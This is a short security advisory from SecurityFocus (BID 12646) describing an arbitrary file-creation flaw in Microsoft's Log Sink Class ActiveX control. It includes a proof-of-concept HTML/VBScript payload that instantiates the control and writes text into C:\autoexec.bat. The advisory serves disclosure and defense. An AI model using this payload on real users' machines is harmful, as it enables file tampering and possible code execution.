source: http://www.securityfocus.com/bid/12646/info

Microsoft Log Sink Class ActiveX control can allow remote attackers to create arbitrary files on an affected computer.

A remote attacker can exploit this issue by crafting a malicious Web site that triggers this vulnerability and enticing a user to visit the site. If successful, the attacker may create arbitrary files on the computer. This may lead to various attacks including arbitrary code execution. 

<object id=ctl
classid="clsid:{DE4735F3-7532-4895-93DC-9A10C4257173}"></object>
<script language="vbscript">
ctl.initsink "C:\autoexec.bat"
ctl.addstring "echo Drive formatted? ", ""
ctl.deinitsink
</script>